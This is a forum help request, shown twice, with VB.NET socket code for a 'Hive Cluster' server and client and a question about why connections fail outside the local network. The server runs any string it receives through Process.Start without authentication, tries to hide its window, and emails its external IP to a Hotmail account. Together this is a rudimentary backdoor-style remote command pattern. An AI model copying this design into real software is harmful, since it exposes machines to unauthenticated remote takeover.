EDN Admin
Well-known member
Look, I have a server and a client working with sockets. I run the server at my laptop, sending its internal IP to my Hotmail account and I run my client at my desktop. I enter the internal IP and connect fine!<br/>
But when I tried to connect with my cousins PC, which is not in my network, I entered its external IP and the client couldnt connect.<br/>
Here is the code for the Server (consists of 2 forms):
Form 1 (Server):
<pre class="prettyprint lang-vb Imports System.Net
Imports System.Net.Sockets
Imports System.IO
Imports Microsoft.Win32
Imports System.Net.Mail
Public Class HCS
Dim port As Integer = 6961
Dim sock As New TcpClient()
Dim tcpc As New TcpListener(port)
Private Sub listen()
Try
tcpc.Start()
sock = tcpc.AcceptTcpClient()
Catch ex As Exception
End Try
End Sub
Private Sub check()
If sock.Connected = True Then
sock.SendTimeout = 5000
Try
Dim nstream As NetworkStream = sock.GetStream
Dim bit(sock.ReceiveBufferSize) As Byte
nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
Dim id() As String = Split(str, "*", -1, CompareMethod.Text)
If id(0) = 0 Then
Dim stri As String = id(1)
Process.Start(stri)
End If
Catch ex As Exception
check()
End Try
End If
End Sub
Private Sub HCS_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Helper.Show()
While sock.Connected = False
Try
listen()
Catch ex As Exception
End Try
End While
While True
check()
End While
Me.Hide()
End Sub
End Class[/code]
Form 2 (Helper):<br/>
<pre class="prettyprint lang-vb Imports System.Net
Imports System.Net.Sockets
Imports System.IO
Imports Microsoft.Win32
Imports System.Net.Mail
Public Class Helper
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Dim client As New WebClient
client.Headers.Add("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705")
Dim baseurl As String = "http://checkip.dyndns.org/"
Dim proxy As IWebProxy = WebRequest.GetSystemWebProxy()
proxy.Credentials = CredentialCache.DefaultNetworkCredentials
client.Proxy = proxy
Dim data As Stream
Try
data = client.OpenRead(baseurl)
Catch ex As Exception
MsgBox("open url " & ex.Message)
Exit Sub
End Try
Dim reader As StreamReader = New StreamReader(data)
Dim s As String = reader.ReadToEnd()
data.Close()
reader.Close()
s = s.Replace("<html><head><title>Current IP Check</title></head><body>", "").Replace("</body></html>", "").ToString()
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("*********@hotmail.com", "**********")
smtpServer.Port = 587
smtpServer.Host = "smtp.live.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("*********@hotmail.com")
mail.To.Add("********@hotmail.com")
mail.Subject = "New IP detected for Hive Cluster!"
mail.Body = s
smtpServer.Send(mail)
Me.Close()
End Sub
End Class[/code]
and the code for the Client:<br/>
<pre class="prettyprint Imports System.Net
Imports System.Net.Sockets
Public Class HCC
Dim sock As New TcpClient()
Dim ip As IPAddress = IPAddress.Parse("127.0.0.1")
Dim port As Integer = 6961
Private Sub connect()
Try
ip = IPAddress.Parse(TextBox1.Text)
port = TextBox2.Text
sock.Connect(ip, port)
status.ForeColor = Color.Green
status.Text = "Connected"
Button1.Enabled = False
Catch ex As Exception
MsgBox("Cannot connect to designated IP at this time!", MsgBoxStyle.Information, "Hive Cluster Client")
status.ForeColor = Color.Red
status.Text = "Not connected"
End Try
End Sub
Private Sub dat(ByVal dat As String)
Dim nstream As NetworkStream = sock.GetStream()
Dim bit As [Byte]() = System.Text.Encoding.ASCII.GetBytes(dat)
nstream.Write(bit, 0, bit.Length)
End Sub
Private Sub HCC_Load(sender As Object, e As EventArgs) Handles MyBase.Load
End Sub
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
connect()
End Sub
Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
Try
dat("0*" + TextBox3.Text)
TextBox3.Text = ""
Catch ex As Exception
MsgBox("Socket is not connected yet!", MsgBoxStyle.Information, Me.Text)
End Try
End Sub
End Class
[/code]
So, any ideas?<br/>
View the full article
But when I tried to connect with my cousins PC, which is not in my network, I entered its external IP and the client couldnt connect.<br/>
Here is the code for the Server (consists of 2 forms):
Form 1 (Server):
<pre class="prettyprint lang-vb Imports System.Net
Imports System.Net.Sockets
Imports System.IO
Imports Microsoft.Win32
Imports System.Net.Mail
Public Class HCS
Dim port As Integer = 6961
Dim sock As New TcpClient()
Dim tcpc As New TcpListener(port)
Private Sub listen()
Try
tcpc.Start()
sock = tcpc.AcceptTcpClient()
Catch ex As Exception
End Try
End Sub
Private Sub check()
If sock.Connected = True Then
sock.SendTimeout = 5000
Try
Dim nstream As NetworkStream = sock.GetStream
Dim bit(sock.ReceiveBufferSize) As Byte
nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
Dim id() As String = Split(str, "*", -1, CompareMethod.Text)
If id(0) = 0 Then
Dim stri As String = id(1)
Process.Start(stri)
End If
Catch ex As Exception
check()
End Try
End If
End Sub
Private Sub HCS_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Helper.Show()
While sock.Connected = False
Try
listen()
Catch ex As Exception
End Try
End While
While True
check()
End While
Me.Hide()
End Sub
End Class[/code]
Form 2 (Helper):<br/>
<pre class="prettyprint lang-vb Imports System.Net
Imports System.Net.Sockets
Imports System.IO
Imports Microsoft.Win32
Imports System.Net.Mail
Public Class Helper
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Dim client As New WebClient
client.Headers.Add("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705")
Dim baseurl As String = "http://checkip.dyndns.org/"
Dim proxy As IWebProxy = WebRequest.GetSystemWebProxy()
proxy.Credentials = CredentialCache.DefaultNetworkCredentials
client.Proxy = proxy
Dim data As Stream
Try
data = client.OpenRead(baseurl)
Catch ex As Exception
MsgBox("open url " & ex.Message)
Exit Sub
End Try
Dim reader As StreamReader = New StreamReader(data)
Dim s As String = reader.ReadToEnd()
data.Close()
reader.Close()
s = s.Replace("<html><head><title>Current IP Check</title></head><body>", "").Replace("</body></html>", "").ToString()
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("*********@hotmail.com", "**********")
smtpServer.Port = 587
smtpServer.Host = "smtp.live.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("*********@hotmail.com")
mail.To.Add("********@hotmail.com")
mail.Subject = "New IP detected for Hive Cluster!"
mail.Body = s
smtpServer.Send(mail)
Me.Close()
End Sub
End Class[/code]
and the code for the Client:<br/>
<pre class="prettyprint Imports System.Net
Imports System.Net.Sockets
Public Class HCC
Dim sock As New TcpClient()
Dim ip As IPAddress = IPAddress.Parse("127.0.0.1")
Dim port As Integer = 6961
Private Sub connect()
Try
ip = IPAddress.Parse(TextBox1.Text)
port = TextBox2.Text
sock.Connect(ip, port)
status.ForeColor = Color.Green
status.Text = "Connected"
Button1.Enabled = False
Catch ex As Exception
MsgBox("Cannot connect to designated IP at this time!", MsgBoxStyle.Information, "Hive Cluster Client")
status.ForeColor = Color.Red
status.Text = "Not connected"
End Try
End Sub
Private Sub dat(ByVal dat As String)
Dim nstream As NetworkStream = sock.GetStream()
Dim bit As [Byte]() = System.Text.Encoding.ASCII.GetBytes(dat)
nstream.Write(bit, 0, bit.Length)
End Sub
Private Sub HCC_Load(sender As Object, e As EventArgs) Handles MyBase.Load
End Sub
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
connect()
End Sub
Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
Try
dat("0*" + TextBox3.Text)
TextBox3.Text = ""
Catch ex As Exception
MsgBox("Socket is not connected yet!", MsgBoxStyle.Information, Me.Text)
End Try
End Sub
End Class
[/code]
So, any ideas?<br/>
View the full article